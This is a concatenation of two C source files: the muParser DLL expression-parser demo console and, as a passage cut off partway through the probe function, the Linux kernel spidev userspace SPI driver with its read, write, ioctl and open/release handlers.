STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <string.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <wchar.h> #include <inttypes.h> #include "muParserDLL.h" #define PARSER_CONST_PI 3.141592653589793238462643 #define PARSER_CONST_E 2.718281828459045235360287 #define PARSER_MAXVARS 10 #ifndef _UNICODE #define _T(x) x #define myprintf printf #define mystrlen strlen #define myfgets fgets #define mystrcmp strcmp #else #define _T(x) L##x #define myprintf wprintf #define mystrlen wcslen #define myfgets fgetws #define mystrcmp wcscmp #endif static void CalcBulk(void); //--------------------------------------------------------------------------- // Callbacks for postfix operators static muFloat_t Mega(muFloat_t a_fVal) { return a_fVal * 1.0e6; } static muFloat_t Milli(muFloat_t a_fVal) { return a_fVal / 1.0e3; } static muFloat_t ZeroArg(void) { myprintf(_T("i'm a function without arguments.\n")); return 123; } static muFloat_t BulkTest(int nBulkIdx, int nThreadIdx, muFloat_t v1) { myprintf(_T("%d,%2.2f\n"), nBulkIdx, v1); return v1 / ((muFloat_t)nBulkIdx + 1); } //--------------------------------------------------------------------------- // Callbacks for infix operators static muFloat_t Not(muFloat_t v) { return v == 0; } //--------------------------------------------------------------------------- // Function callbacks static muFloat_t Rnd(muFloat_t v) { return v * rand() / (muFloat_t)(RAND_MAX + 1.0); } static muFloat_t Sum(const muFloat_t* a_afArg, int a_iArgc) { muFloat_t fRes = 0; int i = 0; for (i = 0; i < a_iArgc; ++i) fRes += a_afArg[i]; return fRes; } //--------------------------------------------------------------------------- // Binarty operator callbacks static muFloat_t Add(muFloat_t v1, muFloat_t v2) { return v1 + v2; } static muFloat_t Mul(muFloat_t v1, muFloat_t v2) { return v1 * v2; } //--------------------------------------------------------------------------- // Factory function for creating new parser variables // This could as well be a function performing database queries. static muFloat_t* AddVariable(const muChar_t* a_szName, void* pUserData) { static muFloat_t afValBuf[PARSER_MAXVARS]; // I don't want dynamic allocation here static int iVal = 0; // so i used this buffer myprintf(_T("Generating new variable \"%s\" (slots left: %d; context pointer: %") PRIxPTR _T(")\n"), a_szName, PARSER_MAXVARS - iVal, (intptr_t)pUserData); afValBuf[iVal] = 0; if (iVal >= PARSER_MAXVARS - 1) { myprintf(_T("Variable buffer overflow.")); return NULL; } return &afValBuf[iVal++]; } //--------------------------------------------------------------------------- static void Intro(muParserHandle_t hParser) { myprintf(_T("\n")); myprintf(_T(" _____ __ _____________ ________ _____ ____________ \n")); myprintf(_T(" / \\| | \\____ \\__ \\\\_ __ \\/ ___// __ \\_ __ \\ \n")); myprintf(_T(" | Y Y \\ | / |_> > ___ \\| | \\/\\___\\\\ ___/ | | \\/ \n")); myprintf(_T(" |__|_| /____/| __(____ /___| /___ >\\___ >|__| \n")); myprintf(_T(" \\/ |__| \\/ \\/ \\/ \n")); myprintf(_T(" Version %s (DLL)\n"), mupGetVersion(hParser)); myprintf(_T(" (C) 2004 - 2020 Ingo Berg\n")); myprintf(_T("\n")); myprintf(_T("-----------------------------------------------------------\n")); #if defined(__clang__) // Note: CLANG also identifies as GCC 4.2.1 myprintf(_T(" Compiled with CLANG Version %d.%d.%d\n"), __clang_major__, __clang_minor__, __clang_patchlevel__); #elif defined (__GNUC__) myprintf(_T(" Compiled with GCC Version %d.%d.%d\n"), __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__); #elif defined(_MSC_VER) myprintf(_T(" Compiled with MSVC Version %d\n"), _MSC_VER); #endif myprintf(_T(" %ld-bit build\n"), sizeof(void*) * 8); myprintf(_T("-----------------------------------------------------------\n")); myprintf(_T("Commands:\n")); myprintf(_T(" list var - list parser variables\n")); myprintf(_T(" list exprvar - list expression variables\n")); myprintf(_T(" list const - list all numeric parser constants\n")); myprintf(_T(" locale de - switch to german locale\n")); myprintf(_T(" locale en - switch to english locale\n")); myprintf(_T(" locale reset - reset locale\n")); myprintf(_T(" test bulk - test bulk mode\n")); myprintf(_T(" quit - exits the parser\n\n")); myprintf(_T("-----------------------------------------------------------\n")); myprintf(_T("Constants:\n")); myprintf(_T(" \"_e\" 2.718281828459045235360287\n")); myprintf(_T(" \"_pi\" 3.141592653589793238462643\n")); myprintf(_T("-----------------------------------------------------------\n")); myprintf(_T("Please enter an expression:\n")); } //--------------------------------------------------------------------------- // Callback function for parser errors static void OnError(muParserHandle_t hParser) { myprintf(_T("\nError:\n")); myprintf(_T("------\n")); myprintf(_T("Message: \"%s\"\n"), mupGetErrorMsg(hParser)); myprintf(_T("Token: \"%s\"\n"), mupGetErrorToken(hParser)); myprintf(_T("Position: %d\n"), mupGetErrorPos(hParser)); myprintf(_T("Errc: %d\n"), mupGetErrorCode(hParser)); } //--------------------------------------------------------------------------- static void ListVar(muParserHandle_t a_hParser) { int iNumVar = mupGetVarNum(a_hParser); int i = 0; if (iNumVar == 0) { myprintf(_T("No variables defined\n")); return; } myprintf(_T("\nExpression variables:\n")); myprintf(_T("---------------------\n")); myprintf(_T("Number: %d\n"), iNumVar); for (i = 0; i < iNumVar; ++i) { const muChar_t* szName = 0; muFloat_t* pVar = 0; mupGetVar(a_hParser, i, &szName, &pVar); myprintf(_T("Name: %s Address: [%") PRIxPTR _T("]\n"), szName, (uintptr_t)pVar); } } //--------------------------------------------------------------------------- static void ListExprVar(muParserHandle_t a_hParser) { muInt_t iNumVar = mupGetExprVarNum(a_hParser), i = 0; if (iNumVar == 0) { myprintf(_T("Expression dos not contain variables\n")); return; } myprintf(_T("\nExpression variables:\n")); myprintf(_T("---------------------\n")); myprintf(_T("Expression: %s\n"), mupGetExpr(a_hParser)); myprintf(_T("Number: %d\n"), iNumVar); for (i = 0; i < iNumVar; ++i) { const muChar_t* szName = 0; muFloat_t* pVar = 0; mupGetExprVar(a_hParser, i, &szName, &pVar); myprintf(_T("Name: %s Address: [%") PRIxPTR _T("]\n"), szName, (intptr_t)pVar); } } //--------------------------------------------------------------------------- static void ListConst(muParserHandle_t a_hParser) { muInt_t iNumVar = mupGetConstNum(a_hParser), i = 0; if (iNumVar == 0) { myprintf(_T("No constants defined\n")); return; } myprintf(_T("\nParser constants:\n")); myprintf(_T("---------------------\n")); myprintf(_T("Number: %d\n"), iNumVar); for (i = 0; i < iNumVar; ++i) { const muChar_t* szName = 0; muFloat_t fVal = 0; mupGetConst(a_hParser, i, &szName, &fVal); myprintf(_T(" %s = %f\n"), szName, fVal); } } //--------------------------------------------------------------------------- /** \brief Check for external keywords. */ static int CheckKeywords(const muChar_t* a_szLine, muParserHandle_t a_hParser) { if (!mystrcmp(a_szLine, _T("quit"))) { return -1; } else if (!mystrcmp(a_szLine, _T("list var"))) { ListVar(a_hParser); return 1; } else if (!mystrcmp(a_szLine, _T("list exprvar"))) { ListExprVar(a_hParser); return 1; } else if (!mystrcmp(a_szLine, _T("list const"))) { ListConst(a_hParser); return 1; } else if (!mystrcmp(a_szLine, _T("locale de"))) { myprintf(_T("Setting german locale: ArgSep=';' DecSep=',' ThousandsSep='.'\n")); mupSetArgSep(a_hParser, ';'); mupSetDecSep(a_hParser, ','); mupSetThousandsSep(a_hParser, '.'); return 1; } else if (!mystrcmp(a_szLine, _T("locale en"))) { myprintf(_T("Setting english locale: ArgSep=',' DecSep='.' ThousandsSep=''\n")); mupSetArgSep(a_hParser, ','); mupSetDecSep(a_hParser, '.'); mupSetThousandsSep(a_hParser, 0); return 1; } else if (!mystrcmp(a_szLine, _T("locale reset"))) { myprintf(_T("Resetting locale\n")); mupResetLocale(a_hParser); return 1; } else if (!mystrcmp(a_szLine, _T("test bulk"))) { myprintf(_T("Testing bulk mode\n")); CalcBulk(); return 1; } return 0; } //--------------------------------------------------------------------------- static void CalcBulk(void) { int nBulkSize = 200, i; muFloat_t* x = (muFloat_t*)malloc(nBulkSize * sizeof(muFloat_t)); muFloat_t* y = (muFloat_t*)malloc(nBulkSize * sizeof(muFloat_t)); muFloat_t* r = (muFloat_t*)malloc(nBulkSize * sizeof(muFloat_t)); muParserHandle_t hParser = mupCreate(muBASETYPE_FLOAT); // initialize the parser for (i = 0; i < nBulkSize; ++i) { x[i] = i; y[i] = i; r[i] = 0; } mupDefineVar(hParser, _T("x"), x); mupDefineVar(hParser, _T("y"), y); mupDefineBulkFun1(hParser, _T("bulktest"), BulkTest); mupSetExpr(hParser, _T("bulktest(x+y)")); mupEvalBulk(hParser, r, nBulkSize); if (mupError(hParser)) { myprintf(_T("\nError:\n")); myprintf(_T("------\n")); myprintf(_T("Message: %s\n"), mupGetErrorMsg(hParser)); myprintf(_T("Token: %s\n"), mupGetErrorToken(hParser)); myprintf(_T("Position: %d\n"), mupGetErrorPos(hParser)); myprintf(_T("Errc: %d\n"), mupGetErrorCode(hParser)); return; } for (i = 0; i < nBulkSize; ++i) { myprintf(_T("%d: bulkfun(%2.2f + %2.2f) = %2.2f\n"), i, x[i], y[i], r[i]); x[i] = i; y[i] = (muFloat_t)i / 10; } free(x); free(y); free(r); } //--------------------------------------------------------------------------- static void Calc(void) { muChar_t szLine[100]; muFloat_t fVal = 0, afVarVal[] = { 1, 2 }; // Values of the parser variables muParserHandle_t hParser; hParser = mupCreate(muBASETYPE_FLOAT); // initialize the parser Intro(hParser); // Set an error handler [optional] // the only function that does not take a parser instance handle mupSetErrorHandler(hParser, OnError); //#define GERMAN_LOCALS #ifdef GERMAN_LOCALS mupSetArgSep(hParser, ';'); mupSetDecSep(hParser, ','); mupSetThousandsSep(hParser, '.'); #else mupSetArgSep(hParser, ','); mupSetDecSep(hParser, '.'); #endif // Set a variable factory mupSetVarFactory(hParser, AddVariable, NULL); // Define parser variables and bind them to C++ variables [optional] mupDefineConst(hParser, _T("const1"), 1); mupDefineConst(hParser, _T("const2"), 2); mupDefineStrConst(hParser, _T("strBuf"), _T("Hallo welt")); // Define parser variables and bind them to C++ variables [optional] mupDefineVar(hParser, _T("a"), &afVarVal[0]); mupDefineVar(hParser, _T("b"), &afVarVal[1]); // Define postfix operators [optional] mupDefinePostfixOprt(hParser, _T("M"), Mega, 0); mupDefinePostfixOprt(hParser, _T("m"), Milli, 0); // Define infix operator [optional] mupDefineInfixOprt(hParser, _T("!"), Not, 0); // Define functions [optional] // mupDefineStrFun(hParser, "query", SampleQuery, 0); // Add an unoptimizeable function mupDefineFun0(hParser, _T("zero"), ZeroArg, 0); mupDefineFun1(hParser, _T("rnd"), Rnd, 0); // Add an unoptimizeable function mupDefineFun1(hParser, _T("rnd2"), Rnd, 1); mupDefineMultFun(hParser, _T("_sum"), Sum, 0); // "sum" is already a default function // Define binary operators [optional] mupDefineOprt(hParser, _T("add"), Add, 0, muOPRT_ASCT_LEFT, 0); mupDefineOprt(hParser, _T("mul"), Mul, 1, muOPRT_ASCT_LEFT, 0); while (myfgets(szLine, 99, stdin)) { szLine[mystrlen(szLine) - 1] = 0; // overwrite the newline switch (CheckKeywords(szLine, hParser)) { case 0: break; // no keyword found; parse the line case 1: continue; // A Keyword was found do not parse the line case -1: return; // abort the application } mupSetExpr(hParser, szLine); fVal = mupEval(hParser); // Without an Error handler function // you must use this for error treatment: //if (mupError(hParser)) //{ // myprintf("\nError:\n"); // myprintf("------\n"); // myprintf("Message: %s\n", mupGetErrorMsg(hParser) ); // myprintf("Token: %s\n", mupGetErrorToken(hParser) ); // myprintf("Position: %s\n", mupGetErrorPos(hParser) ); // myprintf("Errc: %d\n", mupGetErrorCode(hParser) ); // continue; //} if (!mupError(hParser)) myprintf(_T("%f\n"), fVal); } // while // finally free the parser resources mupRelease(hParser); } //--------------------------------------------------------------------------- int main(int argc, char* argv[]) { // The next line is just for shutting up the compiler warning // about unused variables without getting another warning about not // being able to use type lists in function declarations. myprintf(_T("Executing \"%s\" (argc=%d)\n"), argv[0], argc); Calc(); myprintf(_T("done...")); }
571144.c
// SPDX-License-Identifier: GPL-2.0-or-later /* * Simple synchronous userspace interface to SPI devices * * Copyright (C) 2006 SWAPP * Andrea Paterniani <[email protected]> * Copyright (C) 2007 David Brownell (simplification, cleanup) */ #include <linux/init.h> #include <linux/module.h> #include <linux/ioctl.h> #include <linux/fs.h> #include <linux/device.h> #include <linux/err.h> #include <linux/list.h> #include <linux/errno.h> #include <linux/mutex.h> #include <linux/slab.h> #include <linux/compat.h> #include <linux/of.h> #include <linux/of_device.h> #include <linux/acpi.h> #include <linux/spi/spi.h> #include <linux/spi/spidev.h> #include <linux/uaccess.h> /* * This supports access to SPI devices using normal userspace I/O calls. * Note that while traditional UNIX/POSIX I/O semantics are half duplex, * and often mask message boundaries, full SPI support requires full duplex * transfers. There are several kinds of internal message boundaries to * handle chipselect management and other protocol options. * * SPI has a character major number assigned. We allocate minor numbers * dynamically using a bitmask. You must use hotplug tools, such as udev * (or mdev with busybox) to create and destroy the /dev/spidevB.C device * nodes, since there is no fixed association of minor numbers with any * particular SPI bus or device. */ #define SPIDEV_MAJOR 153 /* assigned */ #define N_SPI_MINORS 32 /* ... up to 256 */ static DECLARE_BITMAP(minors, N_SPI_MINORS); /* Bit masks for spi_device.mode management. Note that incorrect * settings for some settings can cause *lots* of trouble for other * devices on a shared bus: * * - CS_HIGH ... this device will be active when it shouldn't be * - 3WIRE ... when active, it won't behave as it should * - NO_CS ... there will be no explicit message boundaries; this * is completely incompatible with the shared bus model * - READY ... transfers may proceed when they shouldn't. * * REVISIT should changing those flags be privileged? */ #define SPI_MODE_MASK (SPI_CPHA | SPI_CPOL | SPI_CS_HIGH \ | SPI_LSB_FIRST | SPI_3WIRE | SPI_LOOP \ | SPI_NO_CS | SPI_READY | SPI_TX_DUAL \ | SPI_TX_QUAD | SPI_TX_OCTAL | SPI_RX_DUAL \ | SPI_RX_QUAD | SPI_RX_OCTAL) struct spidev_data { dev_t devt; spinlock_t spi_lock; struct spi_device *spi; struct list_head device_entry; /* TX/RX buffers are NULL unless this device is open (users > 0) */ struct mutex buf_lock; unsigned users; u8 *tx_buffer; u8 *rx_buffer; u32 speed_hz; }; static LIST_HEAD(device_list); static DEFINE_MUTEX(device_list_lock); static unsigned bufsiz = 4096; module_param(bufsiz, uint, S_IRUGO); MODULE_PARM_DESC(bufsiz, "data bytes in biggest supported SPI message"); /*-------------------------------------------------------------------------*/ static ssize_t spidev_sync(struct spidev_data *spidev, struct spi_message *message) { int status; struct spi_device *spi; spin_lock_irq(&spidev->spi_lock); spi = spidev->spi; spin_unlock_irq(&spidev->spi_lock); if (spi == NULL) status = -ESHUTDOWN; else status = spi_sync(spi, message); if (status == 0) status = message->actual_length; return status; } static inline ssize_t spidev_sync_write(struct spidev_data *spidev, size_t len) { struct spi_transfer t = { .tx_buf = spidev->tx_buffer, .len = len, .speed_hz = spidev->speed_hz, }; struct spi_message m; spi_message_init(&m); spi_message_add_tail(&t, &m); return spidev_sync(spidev, &m); } static inline ssize_t spidev_sync_read(struct spidev_data *spidev, size_t len) { struct spi_transfer t = { .rx_buf = spidev->rx_buffer, .len = len, .speed_hz = spidev->speed_hz, }; struct spi_message m; spi_message_init(&m); spi_message_add_tail(&t, &m); return spidev_sync(spidev, &m); } /*-------------------------------------------------------------------------*/ /* Read-only message with current device setup */ static ssize_t spidev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { struct spidev_data *spidev; ssize_t status; /* chipselect only toggles at start or end of operation */ if (count > bufsiz) return -EMSGSIZE; spidev = filp->private_data; mutex_lock(&spidev->buf_lock); status = spidev_sync_read(spidev, count); if (status > 0) { unsigned long missing; missing = copy_to_user(buf, spidev->rx_buffer, status); if (missing == status) status = -EFAULT; else status = status - missing; } mutex_unlock(&spidev->buf_lock); return status; } /* Write-only message with current device setup */ static ssize_t spidev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { struct spidev_data *spidev; ssize_t status; unsigned long missing; /* chipselect only toggles at start or end of operation */ if (count > bufsiz) return -EMSGSIZE; spidev = filp->private_data; mutex_lock(&spidev->buf_lock); missing = copy_from_user(spidev->tx_buffer, buf, count); if (missing == 0) status = spidev_sync_write(spidev, count); else status = -EFAULT; mutex_unlock(&spidev->buf_lock); return status; } static int spidev_message(struct spidev_data *spidev, struct spi_ioc_transfer *u_xfers, unsigned n_xfers) { struct spi_message msg; struct spi_transfer *k_xfers; struct spi_transfer *k_tmp; struct spi_ioc_transfer *u_tmp; unsigned n, total, tx_total, rx_total; u8 *tx_buf, *rx_buf; int status = -EFAULT; spi_message_init(&msg); k_xfers = kcalloc(n_xfers, sizeof(*k_tmp), GFP_KERNEL); if (k_xfers == NULL) return -ENOMEM; /* Construct spi_message, copying any tx data to bounce buffer. * We walk the array of user-provided transfers, using each one * to initialize a kernel version of the same transfer. */ tx_buf = spidev->tx_buffer; rx_buf = spidev->rx_buffer; total = 0; tx_total = 0; rx_total = 0; for (n = n_xfers, k_tmp = k_xfers, u_tmp = u_xfers; n; n--, k_tmp++, u_tmp++) { /* Ensure that also following allocations from rx_buf/tx_buf will meet * DMA alignment requirements. */ unsigned int len_aligned = ALIGN(u_tmp->len, ARCH_KMALLOC_MINALIGN); k_tmp->len = u_tmp->len; total += k_tmp->len; /* Since the function returns the total length of transfers * on success, restrict the total to positive int values to * avoid the return value looking like an error. Also check * each transfer length to avoid arithmetic overflow. */ if (total > INT_MAX || k_tmp->len > INT_MAX) { status = -EMSGSIZE; goto done; } if (u_tmp->rx_buf) { /* this transfer needs space in RX bounce buffer */ rx_total += len_aligned; if (rx_total > bufsiz) { status = -EMSGSIZE; goto done; } k_tmp->rx_buf = rx_buf; rx_buf += len_aligned; } if (u_tmp->tx_buf) { /* this transfer needs space in TX bounce buffer */ tx_total += len_aligned; if (tx_total > bufsiz) { status = -EMSGSIZE; goto done; } k_tmp->tx_buf = tx_buf; if (copy_from_user(tx_buf, (const u8 __user *) (uintptr_t) u_tmp->tx_buf, u_tmp->len)) goto done; tx_buf += len_aligned; } k_tmp->cs_change = !!u_tmp->cs_change; k_tmp->tx_nbits = u_tmp->tx_nbits; k_tmp->rx_nbits = u_tmp->rx_nbits; k_tmp->bits_per_word = u_tmp->bits_per_word; k_tmp->delay.value = u_tmp->delay_usecs; k_tmp->delay.unit = SPI_DELAY_UNIT_USECS; k_tmp->speed_hz = u_tmp->speed_hz; k_tmp->word_delay.value = u_tmp->word_delay_usecs; k_tmp->word_delay.unit = SPI_DELAY_UNIT_USECS; if (!k_tmp->speed_hz) k_tmp->speed_hz = spidev->speed_hz; #ifdef VERBOSE dev_dbg(&spidev->spi->dev, " xfer len %u %s%s%s%dbits %u usec %u usec %uHz\n", k_tmp->len, k_tmp->rx_buf ? "rx " : "", k_tmp->tx_buf ? "tx " : "", k_tmp->cs_change ? "cs " : "", k_tmp->bits_per_word ? : spidev->spi->bits_per_word, k_tmp->delay.value, k_tmp->word_delay.value, k_tmp->speed_hz ? : spidev->spi->max_speed_hz); #endif spi_message_add_tail(k_tmp, &msg); } status = spidev_sync(spidev, &msg); if (status < 0) goto done; /* copy any rx data out of bounce buffer */ for (n = n_xfers, k_tmp = k_xfers, u_tmp = u_xfers; n; n--, k_tmp++, u_tmp++) { if (u_tmp->rx_buf) { if (copy_to_user((u8 __user *) (uintptr_t) u_tmp->rx_buf, k_tmp->rx_buf, u_tmp->len)) { status = -EFAULT; goto done; } } } status = total; done: kfree(k_xfers); return status; } static struct spi_ioc_transfer * spidev_get_ioc_message(unsigned int cmd, struct spi_ioc_transfer __user *u_ioc, unsigned *n_ioc) { u32 tmp; /* Check type, command number and direction */ if (_IOC_TYPE(cmd) != SPI_IOC_MAGIC || _IOC_NR(cmd) != _IOC_NR(SPI_IOC_MESSAGE(0)) || _IOC_DIR(cmd) != _IOC_WRITE) return ERR_PTR(-ENOTTY); tmp = _IOC_SIZE(cmd); if ((tmp % sizeof(struct spi_ioc_transfer)) != 0) return ERR_PTR(-EINVAL); *n_ioc = tmp / sizeof(struct spi_ioc_transfer); if (*n_ioc == 0) return NULL; /* copy into scratch area */ return memdup_user(u_ioc, tmp); } static long spidev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { int retval = 0; struct spidev_data *spidev; struct spi_device *spi; u32 tmp; unsigned n_ioc; struct spi_ioc_transfer *ioc; /* Check type and command number */ if (_IOC_TYPE(cmd) != SPI_IOC_MAGIC) return -ENOTTY; /* guard against device removal before, or while, * we issue this ioctl. */ spidev = filp->private_data; spin_lock_irq(&spidev->spi_lock); spi = spi_dev_get(spidev->spi); spin_unlock_irq(&spidev->spi_lock); if (spi == NULL) return -ESHUTDOWN; /* use the buffer lock here for triple duty: * - prevent I/O (from us) so calling spi_setup() is safe; * - prevent concurrent SPI_IOC_WR_* from morphing * data fields while SPI_IOC_RD_* reads them; * - SPI_IOC_MESSAGE needs the buffer locked "normally". */ mutex_lock(&spidev->buf_lock); switch (cmd) { /* read requests */ case SPI_IOC_RD_MODE: retval = put_user(spi->mode & SPI_MODE_MASK, (__u8 __user *)arg); break; case SPI_IOC_RD_MODE32: retval = put_user(spi->mode & SPI_MODE_MASK, (__u32 __user *)arg); break; case SPI_IOC_RD_LSB_FIRST: retval = put_user((spi->mode & SPI_LSB_FIRST) ? 1 : 0, (__u8 __user *)arg); break; case SPI_IOC_RD_BITS_PER_WORD: retval = put_user(spi->bits_per_word, (__u8 __user *)arg); break; case SPI_IOC_RD_MAX_SPEED_HZ: retval = put_user(spidev->speed_hz, (__u32 __user *)arg); break; /* write requests */ case SPI_IOC_WR_MODE: case SPI_IOC_WR_MODE32: if (cmd == SPI_IOC_WR_MODE) retval = get_user(tmp, (u8 __user *)arg); else retval = get_user(tmp, (u32 __user *)arg); if (retval == 0) { struct spi_controller *ctlr = spi->controller; u32 save = spi->mode; if (tmp & ~SPI_MODE_MASK) { retval = -EINVAL; break; } if (ctlr->use_gpio_descriptors && ctlr->cs_gpiods && ctlr->cs_gpiods[spi->chip_select]) tmp |= SPI_CS_HIGH; tmp |= spi->mode & ~SPI_MODE_MASK; spi->mode = (u16)tmp; retval = spi_setup(spi); if (retval < 0) spi->mode = save; else dev_dbg(&spi->dev, "spi mode %x\n", tmp); } break; case SPI_IOC_WR_LSB_FIRST: retval = get_user(tmp, (__u8 __user *)arg); if (retval == 0) { u32 save = spi->mode; if (tmp) spi->mode |= SPI_LSB_FIRST; else spi->mode &= ~SPI_LSB_FIRST; retval = spi_setup(spi); if (retval < 0) spi->mode = save; else dev_dbg(&spi->dev, "%csb first\n", tmp ? 'l' : 'm'); } break; case SPI_IOC_WR_BITS_PER_WORD: retval = get_user(tmp, (__u8 __user *)arg); if (retval == 0) { u8 save = spi->bits_per_word; spi->bits_per_word = tmp; retval = spi_setup(spi); if (retval < 0) spi->bits_per_word = save; else dev_dbg(&spi->dev, "%d bits per word\n", tmp); } break; case SPI_IOC_WR_MAX_SPEED_HZ: retval = get_user(tmp, (__u32 __user *)arg); if (retval == 0) { u32 save = spi->max_speed_hz; spi->max_speed_hz = tmp; retval = spi_setup(spi); if (retval == 0) { spidev->speed_hz = tmp; dev_dbg(&spi->dev, "%d Hz (max)\n", spidev->speed_hz); } spi->max_speed_hz = save; } break; default: /* segmented and/or full-duplex I/O request */ /* Check message and copy into scratch area */ ioc = spidev_get_ioc_message(cmd, (struct spi_ioc_transfer __user *)arg, &n_ioc); if (IS_ERR(ioc)) { retval = PTR_ERR(ioc); break; } if (!ioc) break; /* n_ioc is also 0 */ /* translate to spi_message, execute */ retval = spidev_message(spidev, ioc, n_ioc); kfree(ioc); break; } mutex_unlock(&spidev->buf_lock); spi_dev_put(spi); return retval; } #ifdef CONFIG_COMPAT static long spidev_compat_ioc_message(struct file *filp, unsigned int cmd, unsigned long arg) { struct spi_ioc_transfer __user *u_ioc; int retval = 0; struct spidev_data *spidev; struct spi_device *spi; unsigned n_ioc, n; struct spi_ioc_transfer *ioc; u_ioc = (struct spi_ioc_transfer __user *) compat_ptr(arg); /* guard against device removal before, or while, * we issue this ioctl. */ spidev = filp->private_data; spin_lock_irq(&spidev->spi_lock); spi = spi_dev_get(spidev->spi); spin_unlock_irq(&spidev->spi_lock); if (spi == NULL) return -ESHUTDOWN; /* SPI_IOC_MESSAGE needs the buffer locked "normally" */ mutex_lock(&spidev->buf_lock); /* Check message and copy into scratch area */ ioc = spidev_get_ioc_message(cmd, u_ioc, &n_ioc); if (IS_ERR(ioc)) { retval = PTR_ERR(ioc); goto done; } if (!ioc) goto done; /* n_ioc is also 0 */ /* Convert buffer pointers */ for (n = 0; n < n_ioc; n++) { ioc[n].rx_buf = (uintptr_t) compat_ptr(ioc[n].rx_buf); ioc[n].tx_buf = (uintptr_t) compat_ptr(ioc[n].tx_buf); } /* translate to spi_message, execute */ retval = spidev_message(spidev, ioc, n_ioc); kfree(ioc); done: mutex_unlock(&spidev->buf_lock); spi_dev_put(spi); return retval; } static long spidev_compat_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { if (_IOC_TYPE(cmd) == SPI_IOC_MAGIC && _IOC_NR(cmd) == _IOC_NR(SPI_IOC_MESSAGE(0)) && _IOC_DIR(cmd) == _IOC_WRITE) return spidev_compat_ioc_message(filp, cmd, arg); return spidev_ioctl(filp, cmd, (unsigned long)compat_ptr(arg)); } #else #define spidev_compat_ioctl NULL #endif /* CONFIG_COMPAT */ static int spidev_open(struct inode *inode, struct file *filp) { struct spidev_data *spidev; int status = -ENXIO; mutex_lock(&device_list_lock); list_for_each_entry(spidev, &device_list, device_entry) { if (spidev->devt == inode->i_rdev) { status = 0; break; } } if (status) { pr_debug("spidev: nothing for minor %d\n", iminor(inode)); goto err_find_dev; } if (!spidev->tx_buffer) { spidev->tx_buffer = kmalloc(bufsiz, GFP_KERNEL); if (!spidev->tx_buffer) { dev_dbg(&spidev->spi->dev, "open/ENOMEM\n"); status = -ENOMEM; goto err_find_dev; } } if (!spidev->rx_buffer) { spidev->rx_buffer = kmalloc(bufsiz, GFP_KERNEL); if (!spidev->rx_buffer) { dev_dbg(&spidev->spi->dev, "open/ENOMEM\n"); status = -ENOMEM; goto err_alloc_rx_buf; } } spidev->users++; filp->private_data = spidev; stream_open(inode, filp); mutex_unlock(&device_list_lock); return 0; err_alloc_rx_buf: kfree(spidev->tx_buffer); spidev->tx_buffer = NULL; err_find_dev: mutex_unlock(&device_list_lock); return status; } static int spidev_release(struct inode *inode, struct file *filp) { struct spidev_data *spidev; int dofree; mutex_lock(&device_list_lock); spidev = filp->private_data; filp->private_data = NULL; spin_lock_irq(&spidev->spi_lock); /* ... after we unbound from the underlying device? */ dofree = (spidev->spi == NULL); spin_unlock_irq(&spidev->spi_lock); /* last close? */ spidev->users--; if (!spidev->users) { kfree(spidev->tx_buffer); spidev->tx_buffer = NULL; kfree(spidev->rx_buffer); spidev->rx_buffer = NULL; if (dofree) kfree(spidev); else spidev->speed_hz = spidev->spi->max_speed_hz; } #ifdef CONFIG_SPI_SLAVE if (!dofree) spi_slave_abort(spidev->spi); #endif mutex_unlock(&device_list_lock); return 0; } static const struct file_operations spidev_fops = { .owner = THIS_MODULE, /* REVISIT switch to aio primitives, so that userspace * gets more complete API coverage. It'll simplify things * too, except for the locking. */ .write = spidev_write, .read = spidev_read, .unlocked_ioctl = spidev_ioctl, .compat_ioctl = spidev_compat_ioctl, .open = spidev_open, .release = spidev_release, .llseek = no_llseek, }; /*-------------------------------------------------------------------------*/ /* The main reason to have this class is to make mdev/udev create the * /dev/spidevB.C character device nodes exposing our userspace API. * It also simplifies memory management. */ static struct class *spidev_class; #ifdef CONFIG_OF static const struct of_device_id spidev_dt_ids[] = { { .compatible = "rohm,dh2228fv" }, { .compatible = "lineartechnology,ltc2488" }, { .compatible = "ge,achc" }, { .compatible = "semtech,sx1301" }, { .compatible = "lwn,bk4" }, { .compatible = "dh,dhcom-board" }, { .compatible = "menlo,m53cpld" }, { .compatible = "cisco,spi-petra" }, { .compatible = "micron,spi-authenta" }, {}, }; MODULE_DEVICE_TABLE(of, spidev_dt_ids); #endif #ifdef CONFIG_ACPI /* Dummy SPI devices not to be used in production systems */ #define SPIDEV_ACPI_DUMMY 1 static const struct acpi_device_id spidev_acpi_ids[] = { /* * The ACPI SPT000* devices are only meant for development and * testing. Systems used in production should have a proper ACPI * description of the connected peripheral and they should also use * a proper driver instead of poking directly to the SPI bus. */ { "SPT0001", SPIDEV_ACPI_DUMMY }, { "SPT0002", SPIDEV_ACPI_DUMMY }, { "SPT0003", SPIDEV_ACPI_DUMMY }, {}, }; MODULE_DEVICE_TABLE(acpi, spidev_acpi_ids); static void spidev_probe_acpi(struct spi_device *spi) { const struct acpi_device_id *id; if (!has_acpi_companion(&spi->dev)) return; id = acpi_match_device(spidev_acpi_ids, &spi->dev); if (WARN_ON(!id)) return; if (id->driver_data == SPIDEV_ACPI_DUMMY) dev_warn(&spi->dev, "do not use this driver in production systems!\n"); } #else static inline void spidev_probe_acpi(struct spi_device *spi) {} #endif /*-------------------------------------------------------------------------*/ static int spidev_probe(struct spi_device *spi) { struct spidev_data *spidev; int status; unsigned long minor; /* * spidev should never be referenced in DT without a specific * compatible string, it is a Linux implementation thing * rather than a description of the hardware. */ WARN(spi->dev.of_node && of_device_is_compatible(spi->dev.of_node, "spidev"), "%pOF: buggy DT: spidev listed directly in DT\n", spi->dev.of_node); spidev_probe_acpi(spi); /* Allocate driver data */ spidev = kzalloc(sizeof(*spidev), GFP_KERNEL); if (!spidev) return -ENOMEM; /* Initialize the driver data */ spidev->spi = spi; spin_lock_init(&spidev->spi_lock); mutex_init(&spidev->buf_lock); INIT_LIST_HEAD(&spidev->device_entry); /* If we can allocate a minor number, hook up this device. * Reusing minors is fine so long as udev or mdev is working. */ mutex_lock(&device_list_lock); minor = find_first_zero_bit(minors, N_SPI_MINORS); if (minor < N_SPI_MINORS) { struct device *dev; 